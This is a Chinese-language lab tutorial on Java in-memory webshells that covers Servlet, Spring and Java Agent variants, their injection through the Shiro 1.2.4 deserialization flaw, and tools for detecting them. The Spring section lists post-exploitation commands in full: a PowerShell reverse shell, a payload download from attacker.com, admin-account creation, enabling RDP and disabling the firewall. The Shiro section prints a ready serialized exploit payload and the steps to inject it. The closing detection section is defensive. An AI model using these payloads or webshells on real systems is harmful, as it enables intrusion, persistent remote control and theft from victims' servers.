1、实验环境准备

工具准备

idk 1.8.0 74/idk-11.0.11
maven 3.6.3
tomcat 8.5.72(端口8080会和Bp冲突)
IDEA
Burp Suite+Behinder v4.0.6(冰蝎)
退出杀毒软件!

工程:ServletJspProjec

演示Servlet基本功能和相关类型的内存马,部署到tomcat中运行。注意修改端口号避免冲突)

工程:SpringMemShell

 工程描述:演示Spring Controller内存马注入部署到tomcat运行。

Spring的配置文件:applicationContext.xml

SpringMVC的配置文件:dispatcherServet.xml

web工程的配置文件:web.xml

TestController提供了几个接口,ApiController是一个正常接口,用来演示隐藏马

工程:shirodemo

servlet+shiro的web工程

shiro版本1.2.4

部署到Tomcat运行

里面包含了shiro的反序列化漏洞。

工程:shiroattck

这里面包含了恶意的代码,需要注入的内存马。
包含把内存马序列化、加密、Base64编码的工具,与shirodemo配套使用。

工程:Javalnstrument-main

用来演示 Agent 类型的内存马,多 module 工程,包含:

  1. AgentDemo:演示 Java Agent 的基本使用;

  2. TargetApp:演示被注入的工程,与上述工程配套使用。

工程:memShell for windows v0.2

冰蝎作者提供的注入 Tomcat 的 Agent 内存马,只要 Tomcat 启动就可以在本机注入。


2、webshell的演变

小马

作用:专门用来上传(写入)文件

文件名:xiaomajsp

描述:指定路径、内容,可以写入木马到任意路径

打开ServletJspProject,先配置tomcat,里面内置了小马文件

访问到小马文件的路径

http://localhost:8076/ServletJspProject_war_exploded/upload/xiaoma.jsp

写入一个jsp文件点击上传

可以看到已经生成了jsp文件,那么也可以直接访问到

大马

作用:丰富的网站管理功能

文件名:damajsp,访问密码:password,url:http://localhost:8076/ServletJspProject_war_exploded/upload/dama.jsp

一句话木马

作用:执行操作系统命令

文件名:shell.jsp,访问密码:password

拼接命令

?pwd=admin&cmd=whoami

?pwd=admin&cmd=calc

但是一句话木马很容易被流量检测到,所以得用工具比如冰蝎,加密

url填部署的behinder.jsp 路径,密码默认是rebeyond

总的来说,文件马运行流程就是:

先扫 /upload、/tmp、/backup 这些目录,把 *.jsp 全捞出来;

Tomcat 收到 xxx.jsp → 当场调 javac 把脚本变成 .class → 相当于“现场做炸弹”

.class 被扔进 JVM →此时磁盘上可删,但内存里已生效

容器 new 出一个 Servlet 对象 → 调 jspService() → 命令开始执行

由于 Servlet 生命周期长,只要不重启,文件马一直在线

内存马原理

  1. 获取上下文环境 Context 对象

  2. 调用 Context 的方法,动态添加对象

内存马使用场景

  1. 禁止外连,不能反弹 shell 的情况

  2. 禁止写入文件的情况

  3. 写入文件会告警的情况

  4. 不支持 .jsp 文件解析的情况


3、Servlet基础知识回顾

servlet是一种处理请求的控制器

JSP 与 Servlet 的关系

  • JSP(Java Server Pages)经转换编译后仍会生成 Servlet,仅支持前端语法。

  • View:JSP,负责内容显示

  • Controller:Servlet,负责处理请求

Servlet 与 Tomcat 的关系

  1. Tomcat 内置 Servlet 容器(引擎)

  2. Tomcat 提供 HTTP 访问

  3. Tomcat 将 HTTP 请求转换为 HttpServletRequest 对象并调用 doGet/doPost,再把 HttpServletResponse 转换为 HTTP 响应内容

Filter

过滤器,过滤请求、过滤响应

1、implements Filter

2、实现doFilter()

3、web.xml或者注解注册,定义拦截路径

Listener代码示例

实现类

实现接口

类型

NumberChangeListener

ServletContextListener

监听ServletContext创建和销毁事件

NumberChangeListener

HttpSessionListener

监听HTTP session创建和销毁事件

PageViewListener

ServletRequestListener

监控HTTP请求创建和销毁事件

4、内存马分类和演示

4.1、Servlet内存马演示

Listener类型

类型

触发事件

说明

ServletContext监听器

服务器的启动跟停止时触发

Conext就是Tomcat容器

Session监听器

浏览器第一次连接、浏览器关闭时触发

不同的浏览器是不同的Session

Request监听器

访问服务时触发

Request就是一个请求,存在于请求和响应之间。服务器响应完,Request就销毁了。

访问addServlet.jsp文件

访问该地址,表明注入成功,再次访问这个接口

前后不一样,成功回显,说明filter已经被添加到内存里去

访问addListenerjsp文件

访问addFilter.jsp文件

这三个文件都可以用传码的方式注入


4.2、Spring内存马演示

运行springshell文件,访问mappings

       这是 Spring 框架的 /mappings 调试端点,显示当前 Web 应用所有 URL 路径控制器方法 的映射关系。

内存马注入成功——/test1 这个接口已被注入代码覆盖

       这里看到内存马已驻留:exp.InjectToController 类被动态加载到 JVM,映射关系写入 Spring 上下文。浏览器访问 http://localhost:8093/good?cmd=whoami 即可执行命令(具体参数看注入代码)。成功从内存马隐射到隐藏马。可以执行任何命令/反弹shell。

访问good路径下带cmd参数,可跑 任意 Windows 命令 + PowerShell,善用 |& 可组合出复杂操作,实现 文件操作、横向移动、权限维持 等完整入侵链。

① 任意 Windows 系统命令
cmd
复制
# 查看网络
/good?cmd=ipconfig

# 查看文件
/good?cmd=dir C:\

# 查看进程
/good?cmd=tasklist

# 查看用户
/good?cmd=net user

# 关机
/good?cmd=shutdown -s -t 0
② PowerShell(更强大)
powershell
复制
# Base64 编码绕过
/good?cmd=powershell -enc <base64命令>

# 下载远程文件
/good?cmd=powershell -c "Invoke-WebRequest -Uri http://attacker.com/payload.exe -OutFile C:\temp\p.exe"

# 反弹 Shell
/good?cmd=powershell -c "$client = New-Object System.Net.Sockets.TCPClient('192.168.1.100',4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
③ 组合拳(入侵后操作)
cmd
复制
# 创建管理员用户
/good?cmd=net user hacker P@ssw0rd /add & net localgroup administrators hacker /add

# 开启远程桌面
/good?cmd=reg add "HKLM\System\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f

# 关闭防火墙
/good?cmd=netsh advfirewall set allprofiles state off

/test2 注入了隐形内存马,可执行命令但无文件、无日志,隐蔽性更高,重启后需重新注入。

InvisibleShell 是冰蝎专用内存马,它的特征是:无 URL 映射(不会在 /mappings 里出现);流量加密(浏览器直接访问只返回固定字符串)。

此时mappings显现不出来这个注入的文件

访问api参数加上cmd就能回显


4.3、Agent内存马演示(Java Agent 探针技术)

Java Agent技术应用场景

开发工具调试代码:IDEA debug

Java运行时性能分析:Visual VM、JConsole

Java项目热部署:JRebel、XRebel

Java软件破解:破解Burp Suite

RASP技术:火线洞态IAST

补充说明:Runtime application self - protection(即运行时应用程序自我保护)

Java Agent 主要有以下两种运行方式:

      启动时加载(通过 JVM 参数 -javaagent):当启动目标 Java 程序时,在命令行中添加 JVM 参数 -javaagent:xxx.jar来指定 Agent Jar 包。这种方式下,Agent 会借助 premain方法生效:

  • 执行时机:目标 JVM 启动过程中,premain方法会在目标程序的 main方法之前执行。

  • 典型场景:需要在程序启动阶段就植入逻辑(如字节码增强、全局性能统计、日志埋点等),因执行顺序在 main前,能提前拦截或修改类加载、线程初始化等核心流程。

        运行时挂载(Attach 机制):对于已启动的 Java 进程,可通过 Attach 机制“附加”Agent Jar 包。这种方式依赖 agentmain方法:

  • 执行时机:目标 JVM 已经处于运行状态,外部工具(或代码)通过进程 ID(PID)找到目标进程,触发 Attach 流程后,agentmain方法会在目标 JVM 中执行。

  • 典型场景:热更新代码、动态开启/关闭监控、线上故障诊断(如 Arthas 的 attach 能力)等——这些需求需在程序运行中“无侵入”注入逻辑,Attach 机制满足“运行时修改 JVM 行为”的诉求。

AgentDemo工程

AgentEntry类:premain方法、agentmain方法

Transformer类:实现ClassFileTransformer接口

打包命令:mvn assembly:assembly

注意AgentTest类打包之前不能放进去,否则会报错,缺tools.jar包

打开AgentDemo项目,先移除agenttest.java

打开AgentDemo,在这个目录下运行mvn assembly:single

打包生成符合 Java Agent 规范的 JAR 包

最终生成的 JAR 是 “合法的 Java Agent 包”—— JVM 能识别、能加载、能执行其中的字节码修改逻辑

此时TargetAppMain进程会被分配一个 PID,JVM 对外暴露 “attach 端口”,允许其他进程(AgentDemo)连接

添加agenttest.java

编译brid.java文件放在d盘中

修改进程号和jar包的路径,通过 Attach 机制将 Agent 注入目标进程,触发字节码修改

在这个文件运行

AgentTest 通过 Attach 连接目标进程 → 目标 JVM 加载 Agent JAR → 执行agentmain → 调用Instrumentation.redefineClasses → 替换Bird类的字节码

看到到targetagent看到有这样的回显,就证明字节码已经替换

整体操作流程的原理:Java Instrumentation(Java 插装)

     通过 Attach 机制将 Agent 注入目标 JVM,利用 Instrumentation API 动态修改类字节码,最终改变程序运行行为 —— 这也是 APM 监控(如 SkyWalking)、热部署、动态调试等技术的核心底层原理。

Java Agent 注入 tomcat 内存马演示

1、启动 tomcat 8.5(bin目录下启动startup.bat)保留终端,用来看回显

2、代码:memShell_for_windows_v0.2

冰蝎内存马:https://github.com/rebeyond/memShell注意保存路径里面最好不要有空格和汉字

运行java -jar inject.jar password,看到以下两个终端的回显

访问http://localhost:8080/?pass_the_world=password&model=exec&cmd=whoami

已有回显

5、内存马注入方式

基于 JSP WebShell 植入内存马;

通过 Java Agent 植入内存马;

基于 JavaWeb RCE 漏洞植入内存马Fastjon(反序列化、JNDI)、Spring Cloud Gateway(创建恶意路由)、Log4j2(JNDI)、Shiro(反序列化)、FreeMarker(SSTI)。

这是基于Shiro 反序列化漏洞的内存马注入演示流程,核心逻辑是利用 Shiro 的rememberMe功能(默认使用序列化机制),通过构造恶意序列化数据触发漏洞,最终注入内存马:

  1. 环境准备:需用 Tomcat8+JDK8 运行shirodemo,修改server.xml参数是为了避免请求数据(如恶意序列化内容)因大小限制被拦截;
  2. 攻击流程:通过shiroattack工程生成恶意序列化 Payload,借助rememberMe请求头将 Payload 发送到目标shirodemo
  3. 验证方式:注入成功后,通过访问指定 URL(带cmd参数)执行命令(如whoami),验证内存马是否生效。

打开项目shiroattack(jdk版本1.8),运行ClientMemshell.java文件得到payload

生成的payloads是序列化 + AES 加密后的字节数组;

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

那么如何用这个payload去攻击这个应用呢

打开shirodemo,先配置tomcat和端口,部署是war expload

登录网址http://localhost:8096/login.jsp,开启抓包

抓包然后在cookie上添加;renmeberMe=

复制刚刚反序列化的漏洞粘贴上去,send

最后访问http://localhost:8096/shiro/login.jsp?cmd=whoami

可以看到已经拿到了很多信息,接下来就可以提权了。

       在这里,作者一名安全测试人员,在安全的环境下做实验。提权是高危且违反法律法规、网络安全规范的行为,未经授权对系统进行提权操作属于非法入侵,会严重侵犯他人的合法权益,同时违反《中华人民共和国网络安全法》《刑法》等相关法律,需承担相应的法律责任。


6、内存马检测和查杀

通过 Java 应用的接口,获取 tomcat JVM 里面加载的类

遍历所有类,判断是否为风险类

1) 内存注册,但是磁盘没有文件

2) class 文件里面包含恶意内容

java-memshell-scanner
不支持低版本tomcat
工程:shirodemo运行/ServletJspProject
http://localhost:8096/scanner.jsp
利用Tomcat API删除添加的组件
升级版:https://github.com/xyy-ws/NoAgent-memshell-scanner
https://tttang.com/archive/1390/

可以搜索到有没有内存马

sa-jdi

获取进程号:jps -l

启动 sa-jdi,启动命令java -cp .\sa-jdi.jar sun.jvm.hotspot.HSDB

可以查看 JVM 中所有已加载的类

shell-analyzer

https://github.com/4ra1n/shell-analyzer下载

基于JDK11运行,写一个运行bat

其他工具

cop.jarhttps://github.com/LandGrey/copagent

Arthashttps://github.com/alibaba/arthas

shellpub 河马内存马查杀

Logo

有“AI”的1024 = 2048,欢迎大家加入2048 AI社区

更多推荐